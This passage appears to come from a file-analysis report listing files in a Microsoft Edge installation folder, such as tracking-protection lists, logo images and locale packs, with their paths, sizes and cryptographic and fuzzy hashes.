SHA512 7617674428f4b4b0d9c9d88bb6d96f6fb9a7692a367daa6a6b8c7b70dafd5594ea4bc3e6e7ca18da50b33b073c2576167c13a2a26101dcffed49813434de448f
MD5 SHA1 SHA512

Submit Download

Advertising

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Sigma\Advertising
Size 2KB
SHA256 1f6a355a05e07e3955c6a859b9445f90f7321f0b95de5a99e1dff5f7f509c8ee
MD5 86b41de0ac413f396909c313bde48be2
SHA1 429d16992da6ad7b1edfb95051e41b6d4c6a0558
SHA512 4b42da5cd31a7764fe8ef5ee0080c3bea03ef8dd53b2f6cb8691348afc885646256cf087269d70ed473cc3a516d98455f57689407ad6be4b55e336e47a0fac29
MD5 SHA1 SHA512

Submit Download

Analytics

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Sigma\Analytics
Size 953B
SHA256 2690b7f124fe106de56b8e8234016ebcc914a0918f6a0dad49da3b0f6b73b0c5
MD5 c7a248953a2ad62643d1aeaeb2a4a306
SHA1 432612e67b6745f3e576aa5aa9c59fd46bf5c829
SHA512 5923b10e73a77c5d8dab216b8a73bdf5152d42c27f17baf34fe95cbace49b0da481c691324d4e8e1e416962eab9e3c35e1a7947ec8f78bacb3ac74e3b998f6aa
MD5 SHA1 SHA512

Submit Download

Content

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Sigma\Content
Size 569B
SHA256 b61eee688b6458037cd0da71431d00e800444471664714825ce72123a0435bb1
MD5 b5037eb5a61a09ab6531e7e8546ff90a
SHA1 1cd5ce2714b649026224fbf71c81104161e29f2f
SHA512 0aa9de511a6ab2446af5fd7951247c5a34a71eb668d6a65a98dd09c3a7976cb971d519386b205ff6220fb665639a5b02a99c986913a15499c617194c20b2990c
MD5 SHA1 SHA512

Submit Download

Cryptomining

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Sigma\Cryptomining
Size 553B
SHA256 b24d0f5e647b20464165860d4c45d40bbbb4204b15243a5ee1b267922aef9e31
MD5 398441f7c70f8e5f56cb35c78a92000b
SHA1 f5a5ea3859f5024c087fa07692aa242bbc47f80c
SHA512 9b584bbb7aa3020aaa5301dc85621ca5001b9e819797d8712ea245975a486f4e57d5a8ed7a8e1464154911675d2bd157c9f5c1c9091d7c5d2e734b5f147cecaa
MD5 SHA1 SHA512

Submit Download

Entities

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Sigma\Entities
Size 42KB
SHA256 9f4a02f997e555154d8a324151fe78e2f95d97145ff1e61ae6d48e8b3b395523
MD5 6413bce8f091bef1b9afc44b4ee27807
SHA1 42eae02412f4e676f2d65365cd69e93e02d0c15e
SHA512 ba661f55c3d7c4f01549a2e65b49ab37848cad996961f2819f6380eb42d4c9b5454023d0246f331de1c81b78c164c3ec9a4d7c54fbcdb06136e705a05fca59f2
SSDEEP 768:YLkSu9XpyXaghGdFSKZskP6+1bWHzLk+loEUiOj95tw5/u0zF97Xce3sm:YASu9XUw4KDr1bWHzLroPiOB5te/usMe
MD5 SHA1 SHA512 SSDEEP

Submit Download

Fingerprinting

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Sigma\Fingerprinting
Size 693B
SHA256 2c0fe0d8c82ede310bf638f979456af89965972881a646e05e91ed8599b5636e
MD5 81914cc1642736a2a8e9ada02a905c22
SHA1 008dc8e13b5f784ca4158ad2012d10855e7f5dae
SHA512 636f72bf4073311bd22bcd8c1a816c7e8f53b72c59517d2680e5d6ea7841d10de465b65faa2b9c494c90a8569d61413e5f5a42fda6c7f318aece0c667b589c27
MD5 SHA1 SHA512

Submit Download

LICENSE

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Sigma\LICENSE
Size 587B
SHA256 c6de5b8a2e135670097cac3999c8a3a98cba1647928385a2e95d1e7e8c088109
MD5 5f4920cbd707542c10d247757f0aaa91
SHA1 51eafc0e3b2b5c6617e383173bbfe7ef768e943e
SHA512 5f0bf7c5c4fbf043d0844028ac4b64b23b816c97778985112728f17eb7ba2795a9f7334cca4774c818856d72a296765f7019aca10cfb078df8861ad3ce45f777
MD5 SHA1 SHA512

Submit Download

Other

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Sigma\Other
Size 612B
SHA256 506450ac6e9834b4e0356ad2deac7bf099d4e71db4c5b2e0fe6816ee04096d32
MD5 760773e44b8e19d3ec37b138f6186cb0
SHA1 fb45a8439cb5b3ac48a314eb9a1d9300ea80a855
SHA512 78c46c282a2e7909f1d01a6cf11b0996f1667b738dd4defb05b507a8fa481679d5bcbbd763393109283e1de13a360277b3c1b1eca6da7e606c4aca2dd66c98a6
MD5 SHA1 SHA512

Submit Download

Social

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Sigma\Social
Size 3KB
SHA256 289d1759c91482e9a0f6ef187413d2882b1aafa097051e8a76e5b4b2c04e38c1
MD5 e724bf844360c020529a591006c28370
SHA1 2b1bf725dcad1a9e73fc09ca679b23c5e6ab0da7
SHA512 6cb2e366d4498610601def496485c9147f411242f1754c21e58298898123585d6d2e1b3bc25f808c5f79f9739b543437818e8951dec435aceb86a4ba0836599d
MD5 SHA1 SHA512

Submit Download

Staging

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\Sigma\Staging
Size 16KB
SHA256 bc668e67f52ea9d25bcad4080a1614ec9d932a0028c92efaad310a3ff32e06de
MD5 e7c5a49312fc106566c94a38982e0339
SHA1 48b5eb9862378c02e86cb208c915d1b3c2fa84f4
SHA512 865bae612d24547675b7eac218dba86c58ef8814e6f28c773df46ca995d254f9a073b7af89cb4e73cad982318f0d9cbf1589dadd09a31b10f32437221b42ebad
SSDEEP 384:E6Av8eCtGVoUxk0c21J9LazL7A+rwAeqpPNCmMkJPModnDj9c:E+eCtGVHk0c21JELMKaoFFuam
MD5 SHA1 SHA512 SSDEEP

Submit Download

manifest.json

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\Trust Protection Lists\manifest.json
Size 653B
SHA256 3f9e1f7b806728a3b938a343fd602e93d35818797a94623151ce81f4961c97de
MD5 f8b5e85d8b693471aafefb38902cfed9
SHA1 322991c4d7c6075bc93cce31853765eb3b77a2b1
SHA512 098d39e5d4771bf58a33fad53022b87a6d549bfe0d98e6c8d5da0ba49567effa31abb4b8cc5e489f3f8f5df16e4546730407b13869526cfb6614f3aefa90959e
MD5 SHA1 SHA512

Submit Download

Logo.png

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\VisualElements\Logo.png
Size 32KB
SHA256 0a9bee944a0a70d117c5c417ad4fc9a086a30b92a774a2a00e8d99bbd886f57d
MD5 6a42278ae4a578e74fdd35e0395e5dea
SHA1 9abbfb15169641adac4457ad5f98c1e417de08b0
SHA512 37c13326b628b379550175525ae57732492c8b627e7b7ddc3d9346ff2570f72e59bb59e7f2cd7a6a941001b7dac57b3868860a5dfc59f2a78e2fa812bf3731b4
SSDEEP 768:SaNY9YZVEZFY7Q2hJay0WC6rJiddYTtGAiO+xBFm:riYVEZFstEy0WC1YT4Nm
MD5 SHA1 SHA512 SSDEEP

Submit Download

LogoBeta.png

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\VisualElements\LogoBeta.png
Size 29KB
SHA256 7dd7d8fae39576a25a5640c3b23f0f85ed1745807d22329fa1ee3c59c72437ed
MD5 b67ba333492a1c24e01463bb845b2c86
SHA1 c367a1764c29c1511805cb684fe1f75ac5e74ffb
SHA512 53576f928c2fef7c675c5cdd40de2343fda691ab4d2785bc60e0ef0bfb6bdcc70f81fd056e8d61dbdf1f4d0c50d685512200fc0c38a23295d7f38e7e075bb360
SSDEEP 768:Ip2WF1E23OVuVGLNMMyKLuW6h/pMOlue7H3Mkm:E2L2g9CWs/pEvkm
MD5 SHA1 SHA512 SSDEEP

Submit Download

LogoCanary.png

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\VisualElements\LogoCanary.png
Size 30KB
SHA256 805cdc99ea314d521b50e2091f856dbe0243ef2a36169bb10f19678a17ce7871
MD5 20a0d814fd13261b1be90ecedd911202
SHA1 a65fe4e3a96adc0a4f4b4a6fef3df2d006e6200d
SHA512 e8b23b5677aa5702d4012354e2b6dc2e292ab9a10bdda6d56a136f5c2e04410c27f2d29e5f04b63f5540eda02087820abcb2957aff8ddd93147327af7972d72f
SSDEEP 384:r0QqfYkDhyk8bgtmASApIJMLh9HTPHJQVSFj+TXB2FXiOhoLHUlir79c:l14Wgt9IgPASFj+DOyOhoLHEUm
MD5 SHA1 SHA512 SSDEEP

Submit Download

LogoDev.png

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\VisualElements\LogoDev.png
Size 29KB
SHA256 18ffa9452738ee3c551bee3d335fa01afd2a4a6fbe866cf932a2ff7a4f1e2bef
MD5 da97fea163249c780105d6004c56d3c2
SHA1 9e17a092b7553b457897ef9b77577c12a79860b5
SHA512 df8e9d5c82103d442161644d56248ec02ae3d05a106bb690a38025c2321003ffd4abf2c607d1ee972dff48dca44d02dc9dd8165814fde858a6924e809dadc771
SSDEEP 768:4aaguSCFgab/SHb4ZRdTVb4uGTuJCBiUmJJ2Lc3Zm:4afCFg0SHb4ZR1Vb4uG8CbmH2EZm
MD5 SHA1 SHA512 SSDEEP

Submit Download

SmallLogo.png

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\VisualElements\SmallLogo.png
Size 15KB
SHA256 1f763f61955c72c7559000c9b5191c40d321c4ef76f8fbeb820aaf11219ee045
MD5 6971b2d028371e70241cb9b9d57d5304
SHA1 c9d1854b3f20653ecac073b6e749c35918716c4e
SHA512 392f122a816ebd7aaff574fda5569bf93e94baa3724eff4dc96cacd430cdc2496056bd546293f406f98689da6b5f7dea5cdda703c19a60df97e1559f2e9d27a8
SSDEEP 384:Kv/e7bST+hiRWiSpadx+SS1bFz4bbkR0zmhAfKRf10U3qs6t9c:0+SOVB8dcYneh10UX6tm
MD5 SHA1 SHA512 SSDEEP

Submit Download

SmallLogoBeta.png

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\VisualElements\SmallLogoBeta.png
Size 15KB
SHA256 0c466a488d492403a4bdcf97ca357bcdbf372b8d83d61b4f93eb6681f942f3f2
MD5 75699c62bbf3de3462d6e1a54e9dbc61
SHA1 a35bd53867333d0a109ddc61f72aedf94cd52be9
SHA512 25a0df310f07649150dfb1c9da4d6caf7fad1ea0c9db89167796d872d2f72d7c449c98b953663362df6403bf3d3afa5fa893aa01c7440979fa296dc46e6ae690
SSDEEP 384:13GUiDNn2x81tAPl8KSahPYfh8+KMTmcyhziy9c:12UCsRl87+PQhVKMRyhziym
MD5 SHA1 SHA512 SSDEEP

Submit Download

SmallLogoCanary.png

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\VisualElements\SmallLogoCanary.png
Size 15KB
SHA256 ef32233ef96cabbc608aa6a55376160762e463779b967aaa5c7c881dee78be75
MD5 09e0a5d8efd9de0c52ce0fc882950a71
SHA1 e50e7aec87771a9dd0fa5557ac80214e2b51cc3e
SHA512 c865742185797632b48c9febef805d58099d10ba3e6b39f2c52d3ca7c204d86d7de3f3abf879b9215e77691a71e6e255a015dc2a2eff16ef68c53587f0a06c20
SSDEEP 384:UsSK5yZXGEKQwikM5vdMhU4/NBgBC929c:Us/5y0EKQLkM5vOq4HgBw2m
MD5 SHA1 SHA512 SSDEEP

Submit Download

SmallLogoDev.png

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\VisualElements\SmallLogoDev.png
Size 14KB
SHA256 25a13afb862161b501084b5dc8317eb5b910356b9ab1cd8db0490bc21862dc2a
MD5 faa8b252469c5e39b6507dc2b748a61e
SHA1 164b951fad943215f84966b2ea706f3d78f4ac0f
SHA512 6e6c73315c90d3f8fa85322d0d66811cff1edb4d3c26b6e293cdc2d865f6ede3570040452340488d51022d37d3f0341570f9d1f8d86541662a107454f18c2979
SSDEEP 384:ubpcyQKwKJap5dRl/tYATz2IjCSI/LIN+Gf7ARHNnjX9c:ubWyQKwK45pNv2qVI/LIIGs9RXm
MD5 SHA1 SHA512 SSDEEP

Submit Download

manifest.json

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\WidevineCdm\manifest.json
Size 1KB
SHA256 4b17667eaf6fef8efb791f50b1eecebe228a0021f60ba132d62798ead373c44d
MD5 f108419d2e2986580b80757df46823a2
SHA1 48652cce534f96a86809133bf4d6e1036ce5bc8c
SHA512 4c60d638714a7f58b71b16c67e9769adab0e4024e0e6210dd007f9b9e074d39cf0721cddb5d96d7eb505f499e05bef4528883402886c28bd27cfb793fbab0d0b
MD5 SHA1 SHA512

Submit Download

camera_mf_trace.wprp

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\edge_feedback\camera_mf_trace.wprp
Size 24KB
SHA256 363ddabfba17c1639a3320323c10a5af38bd8200b27b24712193ffcd7b8949f5
MD5 0044ceffe1c4808a93f3e9a4a3f1a22c
SHA1 4ca94ab7ff8538bf5b72f1d616a1847ca7d3f21d
SHA512 8b7da5500453f996c0cf7f38126248d588ad1e37c79792ac0e0f9689958957550e4bed15d0f0ab8393303409a5555b68e227c33e684f5aa36cd0bdf32651cfe2
SSDEEP 768:fbCzY7N66LeDCnACeORPWHmEOHosbZ1TwS0m:zCz2N66L7ACeIPVosb/gm
MD5 SHA1 SHA512 SSDEEP

Submit Download

mf_trace.wprp

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\edge_feedback\mf_trace.wprp
Size 12KB
SHA256 30dd56bd8f8faa2c17443afdc963cdbb056885e3d1e7739c7459b9a4b7e2001e
MD5 41641448b04e4499d932fdf45cdbfcd9
SHA1 74d49d12e8036aaa46fdc4c3f39ea44b1586407d
SHA512 ac3323dc9c5108076e658be51007ea94a9cdef811bb392729e948c904d505f5017af338249cce451896159aca50f6a71ebdff9abe1c25a546879979710a00d8d
SSDEEP 384:3FK5A1wHWG+OPrYQtuvyk7A+g+UX0AV0dG9c:UA1w2G7ntOyH+g+UEAwGm
MD5 SHA1 SHA512 SSDEEP

Submit Download

resources.pri

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\identity_proxy\resources.pri
Size 4KB
SHA256 ce7a2567224a6e4db62604d7a2e01842627f2bd76ce0c2518f56724ea4ce1a19
MD5 20fd668eae57d1afd1018766effeeb52
SHA1 e7f0fbeacf7588722b16b0d3f434ac6357510f51
SHA512 9de535d7302c5647de62c3e9665ff2798f9bb0e1c53f242dcf86a0d78f1426d1d8a692873696fcdca35e01af314ff7ac82bab5b102ba7caf0a8745eb2361f151
SSDEEP 96:wzdAi3GoJV3GD1XLNawpl02JxW7C4FW5Yhqi9+F8g:iAeGoJV2D5LNawpl3JF4M5Yhqi9y8g
MD5 SHA1 SHA512 SSDEEP

Submit Download

identity_helper.Sparse.Internal.msix

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\identity_proxy\win11\identity_helper.Sparse.Internal.msix
Size 57KB
SHA256 dc2bf493fd1a1dc008a85dca677e14aea92938d3e9f8ec347cfdd77112ee902c
MD5 6bb6d5d71fab314a2bc7d159e085b6d9
SHA1 fa17c5f24b4c66a88330eb5d37a79db7291282b2
SHA512 98d0c70f03afa7d81c3131a6818e26fe3908c59a44d99e98699bde2f9ffb1307e6bd5e312305147e1f9dced6e82d6e9ff33d98ec5ffde868c023f232e8b0417c
SSDEEP 1536:77E1PNWj6LvcDd/HT3BCpBB0sCdIkeA5mm:HwPEZ/L/mke+mm
MD5 SHA1 SHA512 SSDEEP

Submit Download

vk_swiftshader_icd.json

Path C:\Program Files (x86)\Microsoft\EdgeCore\132.0.2957.140\vk_swiftshader_icd.json
Size 627B
SHA256 826399e0399e0864a006c55879d375526015e8a858717f82b91a5b5e2b09f9e5
MD5 18e99a698c9c752ed153809ba2cb4669
SHA1 bca91972dabd223bd8f9bddc574c22a826d5c0e2
SHA512 abe158507ffce511ce07e48f321ad821b6d712e622e54768466a2f3a01c2dd68bb5d578620feb2ae541ccdce4026296fd2ed617511ad7ca07b5d3a261b5f2903
MD5 SHA1 SHA512

Submit Download

af.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\af.pak
Size 1010KB
SHA256 3a03475880b9df60d2269e36faef3fffd83b208ff816ae26a13ccb4e27c4a0a5
MD5 791ca40120955355307a78660ae0202f
SHA1 29206773a2cbf662b1cc0d8f49fac742267bdb4e
SHA512 1fd8edefa3e027cd3b9d9393849fbf524f1b14ba1b8ce7b10cc1fd06d2e0e9ff12c28ba85e0cab0f583b2018ef92be9e4117a1e1f4dfd0dd0f05a73ff7f0e317
SSDEEP 24576:5YzSyloXAFaOucao2uldoZpcuA3mLGKJrhftA+dqQw/N:5Y+yymaO1Wutn3mRftA4fY
MD5 SHA1 SHA512 SSDEEP

Submit Download

am.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\am.pak
Size 1.4MB
SHA256 421b183161e3d542aa9484b0d3de444f2eb0854793ea15b9da7bf9c8e6ebee77
MD5 8c425c34a6142d3086260c8013fe8913
SHA1 11997665aeb697908e000439b8ccf684101d4ad5
SHA512 997a1555994b0abff8514568fee25904313278f7878a2dfd34a88ce6a92a5f87dc014576b8e18499a7fecd2f13d74b60b315064e091f5b5e7cc5d241987448c1
SSDEEP 24576:jAA8XsuTvkGRUVRG0ZLCghuiCk1TWCS7ZstK1G/JJ6d7PAW2IY8sxTJfS92cX6PT:jAA3+cGoz+ghik9WCLAG/JJnBh8WLk2
MD5 SHA1 SHA512 SSDEEP

Submit Download

ar.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\ar.pak
Size 1.5MB
SHA256 bc1d6c00538510fd2a4573d4698ea1d665a36a2c832885e7ffa3d9ca29011ecd
MD5 9c88368f47346ad4e6008898e187e203
SHA1 14bf448fc78f7d9ff968685c4b6103ef4061a82f
SHA512 61594b94f65200788d9b3da8e897d25b918aba5dfd817b0373f1375e7b64cba12a576cd8953ecee060e3a5c5fb01781a21dc65883603544bb1df36918903e7b1
SSDEEP 24576:/VaXk6O+MoLb5Bkcb0Acg53AvPLHe0/GKx+B5BSM1ZEooEtTo6S9lR:9a5O+feRAcg53AvPLHJD+Pd1qtfbR
MD5 SHA1 SHA512 SSDEEP

Submit Download

as.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\as.pak
Size 2.1MB
SHA256 1e520176b4e131246b5386238986e7e962ef7e2075ef9aab873d08a56f9bd7c9
MD5 599722966a3cdb833f7aa725a3ba57db
SHA1 129850863779ad70f28d00daacfaa04ea18378ed
SHA512 3012b3854d6e132f5fa195d39d95cd0c040b7b13eb61001b5467893d7a3d8c032faafd18f0c74374b3bc173eda657f6c81d4dd5ac1be2528520171a51292b35a
SSDEEP 24576:QJ1g0OjQSOLh2zDvTCplT2ijZxGEE896OsxXFnmL7/ZJdnWCCHEI:QJ1g0OjQTLhEvWpx5oL896FxRiZW
MD5 SHA1 SHA512 SSDEEP

Submit Download

az.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\az.pak
Size 1.1MB
SHA256 453b56970e691f1e036ff26b72631eab6f19642c75f3c33532bee535e8e8175a
MD5 b4da0ac39fb5f467c20bf5115efb561b
SHA1 1904979de4415560067048b1e0f50775acd9ff09
SHA512 c0cb7fa9a912bd36ae450b632b60b0334394946e5a2f0c08170ec7ac8f6decb350a408b5e00a34be92c60404c3e61a9360f379c990450ba4314078354d112ec7
SSDEEP 24576:AUZAbXnb30UVw9RZoR3+jmNdu8rfy+pGAR+KTHp/pB4vNrtCssEc:AUZEry9RtrGo0+SBmNksU
MD5 SHA1 SHA512 SSDEEP

Submit Download

bg.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\bg.pak
Size 1.7MB
SHA256 fbc15e6480084d200860d032cf0a0f4fab4a34b47e8c6078553007a5e08c6df4
MD5 a6dd09ed1ca0ca052d2f2fd14cebb7b7
SHA1 6c6ce5bef179c712a5f69b43c69439fa50b029e4
SHA512 1fff23d1908c5101c25b69013a289b0a18048e81911057ae2f41a385edc335a43a705a88aa44f1f870d51626d063173b0cabe5f3a37adfaac7c82300fc6fa7d0
SSDEEP 49152:YkGfTE5ovySlVU6zqQ7zNt+JMXTePRudSgRvQs2r:YzI5ovllt77zNtVTz9r2r
MD5 SHA1 SHA512 SSDEEP

Submit Download

bn-IN.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\bn-IN.pak
Size 2.2MB
SHA256 12afe544542c746f65a8d3944ecff41d1f93aac6b0ba0d55c29a10a6f06c425e
MD5 ebd184f1d20cc8a3e19caa958241f80b
SHA1 4fc51243d3a307f17876ee369293ba9318099f07
SHA512 8a42fc351e24f470841a8f40d7add076d8cf2ca091b21f5260141c0f3cd2a34b74db166a0c988f9a0d26649009f9ceb0830ca2581aeb8dcf489ee96af1e79e57
SSDEEP 24576:T383j1qGQMY9LtWz6e4gz+rY7u1tjtnYA6cKIsWDi0T9RtP5aCvRY:rsOSzwgzcX1htnYAXTw
MD5 SHA1 SHA512 SSDEEP

Submit Download

bs.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\bs.pak
Size 1.0MB
SHA256 0032c2c095f35a99446371a69b0d3e12a3b94d8af4ac4012e797b12720a90321
MD5 ec1e3002dfdf2762f3b890ca1ef61992
SHA1 f6625fdf032fbdeca10a437177c91d9c92365274
SHA512 9c96c8441bbb154030ed4cab4177f4a8b3163580d8d0cd6b29e3d156b01dc35e45a67e3cd0c61cffb4d4a53b311cf62002dfa7f7cb150307a62f084743b42527
SSDEEP 24576:jP4OhM42EJBM4LLQ2/Uyk9Xvb1YpT/xeV37V0NbhNwrT8u:iKJBM4LEdXvb+iZ7MbherD
MD5 SHA1 SHA512 SSDEEP

Submit Download

ca-Es-VALENCIA.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\ca-Es-VALENCIA.pak
Size 1.1MB
SHA256 82ec723db22e872ccde2b4390a3765a9e5eea6d388033f205e73f390725c6fd8
MD5 a7abf4c2e230da16ac96dd478ffaa890
SHA1 7da35e11e09150df25aaadd8df6859b22df64bcf
SHA512 50f460bfb319eb4e7d391bbb3ea0518404e7c85d6847ff2310ab3460b5277103303ae32dc690a2d877b37961f68478ecdbdda49e2f176bb9bbdf0ac7772dc823
SSDEEP 24576:he5P58sJYvd+MK7IBabHtmACFzySGU3kApEyXJrL4VC0:h4xzYvFusA0zxVlVL4Vp
MD5 SHA1 SHA512 SSDEEP

Submit Download

ca.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\ca.pak
Size 1.1MB
SHA256 3351ddbb72c97936e818c2655914a65ff8c7d1c0954829108286723045954e00
MD5 96c96c9f35f4ae53248972f7550ae874
SHA1 cb96f19a8a829169224911a3a69d5c3aabc49080
SHA512 22bd5ca17d0eeabc7eee483749180d10e42b1a412e6f07b48fa0a3a86f30935e37db0d5671443207d4440d9c0c638e171b8fb68a67541cb77cb45ca88f0d07c8
SSDEEP 24576:gEGpnT1m6wwaOQCllZF3Vo6T7lcrTMeXnlX35+N6i:gEGpnTZZaOQCXZp6TH5p+N6i
MD5 SHA1 SHA512 SSDEEP

Submit Download

cs.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\cs.pak
Size 1.1MB
SHA256 1d35334699b61efe4c98fff6e60048aac87953e8319ef538461b7b31fa78d1de
MD5 ea5eef7de1b991284136584851491f24
SHA1 45eb50f37f03761853f7533858a3130c40674bf4
SHA512 f31d2ff85bf9d76bc26ac0a8bc179e5560b6c0a98209e27ad860c2e0f4abe6a8703fcc082cf2e9ef3c70523887ffcad224d9a8c52ee0f4a6f7873c4862ea5ec2
SSDEEP 24576:9OyCnUFAXPGUihzfiS6J9DjZ9ksQcrKFHbCpuOLBxviesYyxYJ:U0AuUE1y9NQc+B0Vie4YJ
MD5 SHA1 SHA512 SSDEEP

Submit Download

cy.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\cy.pak
Size 1.1MB
SHA256 541e403518dfcb36ee568b466be8d06cd3a8cf73af849ea4078c4a5e0abeabb2
MD5 fe92be761f516d74b058e9929f0ceb75
SHA1 1a685c684b5e4937997340b213f36e8e3c954f05
SHA512 066bb4a20bb8800ccfc38c54c34ffc6fa144b80e9fa9ddecb8908ff47c6efbd6860d6babc2363f0765fdacfc6467263923cb2a636dd473e5c4e17950cf0afbbf
SSDEEP 24576:ax7B/qpdA5onwaQEA1cqdBYTU7Jy8GwFh2iJ:axts/nwaXADJ5Ge5J
MD5 SHA1 SHA512 SSDEEP

Submit Download

da.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\da.pak
Size 1008KB
SHA256 24b72753d59308f6b2afc52f9d1b89fe2edfb84e78b4eadf0d8448712f895e56
MD5 b8c283513e0b407fd0e065bc1dd527ec
SHA1 6e207303ac6456eb749bf5723f248370cf370248
SHA512 ef47c342c30c5f85b738427cc9d01f2031baf91f77a5f33125182e31fb9d1c49af334d1599ea69ec2d0b4521e632011b4f8a333e52423f0e2873448094365275
SSDEEP 24576:2BO62hErt7VhkEdU8vy6CgTZ+FAA/1z1qC:2o62Ct7Vxd/vy6CgTJA/r3
MD5 SHA1 SHA512 SSDEEP

Submit Download

de.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\de.pak
Size 1.1MB
SHA256 6f7effdb94ae241d0cd60b7f6d48d7ad1f87a091693c9f29f589713675416353
MD5 164f74ee05c051a46b088a60ba9834cb
SHA1 79f99e1fac209765b8c4edd00af7c2b09b7a55f4
SHA512 4011841e14cd15d75a8cf79a66ce4c4e6ae05e1e2bceabf1bdcd68a8c5cd4b14c12348144cc2376e1add686a0ef2ce8d19bed3471f0b81aeb9d7efc92540d0e0
SSDEEP 24576:Mgh0ihVIJ1qfGpbqb3+sthWnFxVb9jRwO5eCn:bh0ihVIJ1xpbCpmxVbVRwOh
MD5 SHA1 SHA512 SSDEEP

Submit Download

el.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\el.pak
Size 1.9MB
SHA256 90b889a6bfd191f06cd9f3172125ae5c7a06ed0e3f3dd8b27909b49aa005c487
MD5 56e4c72d4a69a69250c6eb4d215438eb
SHA1 1afd308492d1d1f1913acee0712c896208e8dced
SHA512 2eafb95fbdc9207c4bbd70bf26531739edefd4d71fdd72313331b921afcbbe75ef817c19fbd2d7273ae8f7a5becf1b52460e360ef467748cc192acf243d1410a
SSDEEP 49152:enKwOFh9KfJnkAl4RU7z6GwnA7SzfnYtbHW82swMzcl+kybtZnJr38m4kosNMwVR:enKwO79KxkYd9
MD5 SHA1 SHA512 SSDEEP

Submit Download

en-GB.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\en-GB.pak
Size 921KB
SHA256 8e060c34ec5a6f5a14e58f6e987ddf77970a50ec5560b69d2634858b9f5ca55c
MD5 89ae5367ceeecde4fe417a7a439994ee
SHA1 218ced2e0deb5b80c0b371b0b498a27561ee5125
SHA512 25ca3eec99ba2d7e459f5292248e36158bcf6d26ac33d1a95012c48e86d31ee606f5e3fe470a0d1dd7fec079203c534a2e9f0fdff876fdda2deaa21d8660ef17
SSDEEP 24576:XPZfrq0Y0iEZz78EJfkLcF9opbjefknCkDi7U5lTL:XBfO0Y05ZVj9opXnC7U5lf
MD5 SHA1 SHA512 SSDEEP

Submit Download

en-US.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\en-US.pak
Size 905KB
SHA256 acdaacb8454a0c6180b0d8d959b9897667c479432db42b7ebcb352bf6965b11b
MD5 3533e4d853cc70d60fb7c832e84a32c9
SHA1 cd558ba87437a4b0515a59cdb1286de3e35b6594
SHA512 8ba42b7e2186b1ef1ea20147d6ba555877f39c7da289c12dab922c943bbd209aea013e6db39510281ecbb631ca6a27d97f11b65dc77a6fd9723965faf9c9b9c2
SSDEEP 24576:1P0r+MYRd44gjtDwYTDm2TgGFL8FTEOBDAicvti2L/T8E:j5zkVNbTgGNMEvvNL/IE
MD5 SHA1 SHA512 SSDEEP

Submit Download

es-419.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\es-419.pak
Size 1.1MB
SHA256 0cc190fc0e7431d11784ebda41cc17a4740e3d5a8f45bdc551cd1d17fca93daa
MD5 5303ab1d763a3d88ff445535abe8a99d
SHA1 1a3f484ab63dd6657410e6f9c2200fb3f9c24947
SHA512 778ed2033d99853fe016ee6535acae6c3c68e26748a1d28e4697bf580074826d0d0d09500db42eef7de0aae490892da6ef0279b5254b628410422bc6074e8ee4
SSDEEP 24576:UxKvvlBQPJ1bQ01fQPVzOX9eeXdzMdKrhUd+v8A1p8dXs8VrXWjY5lg:+ivlQnbQSEV4DIchUd8r8R1XgY5lg
MD5 SHA1 SHA512 SSDEEP

Submit Download

es.pak

Path C:\Program Files (x86)\Microsoft\EdgeCore\133.0.3065.69\Locales\es.pak
Size 1.1MB
SHA256 f022c648fe1055690d79f12a35d224931db92f64d9c9546afa7e3922eab3216f
